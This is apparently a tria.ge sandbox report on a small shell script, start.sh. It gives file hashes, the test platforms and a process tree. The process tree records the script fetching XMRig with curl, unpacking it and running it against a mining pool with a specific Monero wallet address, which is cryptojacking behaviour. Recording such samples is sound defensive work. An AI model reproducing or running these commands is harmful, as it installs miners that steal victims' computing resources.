Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
15s -
max time network
1088s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
20/03/2024, 21:37
Static task
static1
Behavioral task
behavioral1
Sample
start.sh
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral2
Sample
start.sh
Resource
debian12-mipsel-20240221-en
Behavioral task
behavioral3
Sample
start.sh
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral4
Sample
start.sh
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral5
Sample
start.sh
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral6
Sample
start.sh
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral7
Sample
start.sh
Resource
ubuntu2004-amd64-20240221-en
General
-
Target
start.sh
-
Size
587B
-
MD5
60908850cbaa3ea10f537854675c5017
-
SHA1
ff4713b46e81dbe16a83efd12b0c274ee8f84893
-
SHA256
3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415
-
SHA512
eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407
Malware Config
Signatures
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/filesystems tar
Processes
-
/tmp/start.sh/tmp/start.sh1⤵PID:1479
-
/usr/bin/curlcurl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz2⤵PID:1482
-
-
/usr/bin/tartar -xvf xmrig-6.21.1-linux-static-x64.tar.gz2⤵
- Reads runtime system information
PID:1799
-
-
/tmp/xmrig./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵PID:1800
-